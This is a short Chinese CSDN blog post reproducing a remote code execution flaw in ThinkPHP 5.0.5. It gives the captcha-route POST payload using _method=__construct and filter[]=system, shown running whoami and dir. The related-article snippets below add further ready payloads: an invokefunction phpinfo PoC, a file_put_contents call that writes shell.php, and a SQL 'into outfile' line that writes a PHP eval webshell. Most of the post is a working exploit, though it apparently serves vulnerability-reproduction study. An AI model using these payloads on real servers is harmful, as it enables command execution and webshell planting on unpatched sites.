ThinkPHP5.0.5RCE

最新推荐文章于 2024-04-30 00:10:58 发布
最新推荐文章于 2024-04-30 00:10:58 发布
阅读量828 收藏 1
点赞数
分类专栏： 实战漏洞复现
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41617034/article/details/119463580
版权

文章目录

前言

这里的thinkphp版本为5.0.5

访问

http://xx.xx.xx.xx:8080/index.php/?s=captcha

payload

_method=__construct&filter[]=system&method=GET&get[]=系统命令

示例如下

（1）post传入_method=__construct&filter[]=system&method=GET&get[]=whoami进行命令执行
在这里插入图片描述
（2）post传入_method=__construct&filter[]=system&method=GET&get[]=dir进行命令执行
在这里插入图片描述

1stPeak
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
专栏目录
ThinkPHP V5.0.5漏洞_ThinkPHP漏洞分析与利用
weixin_39602280的博客
11-19 2397
一、组件介绍1.1 基本信息ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架，遵循Apache 2开源协议发布，使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP 5.0以上版本，支持MySql、PgSQL...
ThinkPHP5.0.0~5.0.23RCE 漏洞分析及挖掘思路
shelter1234567的博客
01-16 1385
本节我将分析thinkphp5.0.x 版本的RCE漏洞，根据漏洞的研究模拟挖掘此漏洞的思路
ThinkPHP5系列远程代码执行漏洞复现（详细）
weixin_53730939的博客
03-20 7810
ThinkPHP5系列远程代码执行漏洞复现（详细）
ThinkPHP5--rce远程代码执行
最新发布
m0_74402888的博客
04-30 415
在ThinkPHP5版本中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。
thinkphp 5-rce版本漏洞复现(超详细版)
精品博客,你值得一看~
08-06 6910
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码。（3）还可以将php代码写入文件, 此处我们写一个phpinfo。（1）在url输出关于 PHP 配置的信息。说明存在远程命令执行漏洞!ip a #获取自己的本机 ip。（4）查看shell.php内容。直接访问 ip+端口。
ThinkPHP V5.0.5漏洞_ThinkPHP5丨远程代码执行漏洞动态分析
weixin_39756192的博客
11-19 1090
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的，在保持出色的性能和至简代码的同时，也注重易用性。但是简洁易操作也会出现漏洞，之前ThinkPHP官方修复了一个严重的远程代码执行漏洞。这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令，受影响的版本包括5.0和5.1版本。那么今天i春秋用动态分析法来介绍远...
Thinkphp5 RCE漏洞
Sentiment的博客
05-21 6940
影响版本 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30 不同版本payload不同，且5.13版本后还与debug模式有关 这里跟着feng师傅复现的，所以用的也是5.0.22 ThinkPHP5.0.22完整版 - ThinkPHP框架 5.0.22debug模式RCE 这波属实下饭了，开启debug模式后payload一直没打通，后来发现改成其他版本的配置文件了.........
ThinkPHP5.0.5完整版_ThinkPHP_full_v5.0.5
02-24
ThinkPHP5.0.5完整版_ThinkPHP_full_v5.0.5 欢迎关注PHP学习博客：http://blog.csdn.net/column/details/14209.html
thinkphp 5.0.5 utf8完整版
03-24
thinkphp 5.0.5 utf8完整版
ThinkPHP v5.0.5 核心版
12-02
ThinkPHP是一个开源的，快速、简单的面向对象的轻量级PHP开发框架，遵循Apache2开源协议发布，是为了敏捷WEB应用 开发和简化企业级应用开发而诞生的。拥有众多的优秀功能和特性，经历了三年多发展的同时，在社区团队...
ThinkPHP3.2.x RCE漏洞通报1
08-03
3.寻找程序上传，上传件 1.功能代码中的assign法中第个变量为可控变量： 3.赋值结束后进display法中，display法开始解析并获取模板件内容，此
Thinkphp 5.0.x_5.1.x 变量覆盖 RCE 漏洞分析1
08-03
Thinkphp 5.0.x_5.1.x 变量覆盖 RCE 漏洞分析1
ThinkphpRCE:Thinkphp rce扫描脚本，附带日志扫描
03-19
Thinkphp rce扫描脚本，附带日志扫描 2020.06.18更新 增加使用代理池功能 增加输出到文件功能 去掉了一些使用syetem函数的payload和重复payload（导致IP容易被封住，且必要性不是很大） 优化了一些代码，多个网站的...
ThinkPHP V5.0.5漏洞_【每日安全资讯】滥用 ThinkPHP 漏洞的僵尸网络 Hakai 和 Yowai
weixin_39541681的博客
11-08 697
前言网络犯罪分子正在利用一个在2018年12月被发现和已修补的ThinkPHP漏洞传播Yowai(Mirai变种)和Hakai(Gafgyt变种)两种僵尸网络病毒。网络犯罪分子利用字典攻击破坏使用PHP框架创建网站的Web服务器，并获得这些路由器的控制，以实现分布式拒绝服务攻击(DDoS)。YowaiYowai(BACKDOOR.LINUX.YOWAI.A，由趋势科技检测)具有与其他Mirai变体...
【ThinkPHP5 5.0.22/5.1.29 RCE】
xhwfa的博客
05-02 3137
一、漏洞描述 ThinkPHP是一款运用极广的PHP开发框架。其版本5中，因为没有正确处理控制器名，致使在网站没有开启强制路由的状况下（即默认状况下）能够执行任意方法，从而致使远程命令执行漏洞。 二、影响版本 ThinkPHP 5.0系列 < 5.0.23 ThinkPHP 5.1系列 < 5.1.31 三、漏洞环境搭建 cd /vulhub-master/thinkphp/5-rce docker-compose up -d 访问192.168.110.134:8080，出现如
ThinkPHP V5.0.5漏洞_奇安信代码卫士帮助阿里集团修复多个软件安全漏洞，获官方致谢...
weixin_39965673的博客
10-21 123
聚焦源代码安全，网罗国内外最新资讯！近期，奇安信代码安全实验室为阿里集团发现了2个安全漏洞，并第一时间向阿里集团报告且协助修复。2019年4月30日，阿里安全响应中心(ASRC) 发布安全公告，公开致谢奇安信代码卫士团队。图：阿里安全响应中心官方致谢奇安信代码安全实验室是奇安信代码卫士的研究团队，专门从事源代码、二进制漏洞挖掘和分析，主要研究方向包括：Windows / Linux /...
ThinkPHP V5.0.5漏洞_漏洞考古：thiknphp5 代码执行漏洞
weixin_39662142的博客
11-19 413
thinkphp版本：v5.0.5下载地址 https://www.thinkphp.cn/down/870.htmlpoc：?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 带poc访问index.php以后经过初始化以后，流程执行到App类...
ThinkPHP5.0.*版本代码执行漏洞
热门推荐
锋刃科技的博客
01-12 2万+
我们先看处理请求的Request类，在thinkphp/ library/think/Request.php。 Method方法来获取当前的请求类型。 isGet、isPOST、isPUT等方法都调用了method方法来做请求类型的判断。 而在默认情况下，是有表单伪装变量的 在默认情况下，该变量值为_method 在Method方法中，将表单伪装变量对该方法的变量进行...
ThinkPHP V5.0.5漏洞_ThinkPhp5.0.x远程RCE复现
weixin_39975486的博客
11-19 1399
0x1 前言之前看到大佬们在网上爆出tp远程代码执行，我就想着来复现一波，所以写篇文章做个笔记。0x2漏洞复现首先去ThinkPhP官网下载他的一个框架：框架下载 - ThinkPHP框架​www.thinkphp.cn在这里我选择的是ThinkPHP5.0.22完整版，大家可以下载其他版本！然后使用phpstudy集成环境搭建Tp5.0.22：然后运行php环境，在这里我选择的是Apach+PH...
thinkphp3.2.3 rce漏洞复现
08-12
根据引用中提供的信息，ThinkPHP3.2.x存在一个RCE（远程代码执行）漏洞。根据引用中的描述，我们可以通过控制`$this->img`变量来找到`destroy()`函数。在`ThinkPHP/Library/Think/Session/Driver/Memcache.class.php`文件中的`Memcache`类的`destroy()`函数中可以找到这个函数。请注意，如果使用PHP7，在调用有参函数但没有传入参数的情况下会报错，因此应该使用PHP5而不是PHP7。具体的漏洞利用方法是，在URL中注入`?id=1*/ into outfile "path/1.php" LINES STARTING BY '<?php eval($_POST<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [wp 篇 DASCTF Thinkphp 3.2.3RCE复现](https://blog.csdn.net/weixin_46203060/article/details/119532553)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [【安全漏洞】ThinkPHP 3.2.3 漏洞复现](https://blog.csdn.net/2201_75857869/article/details/129316463)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值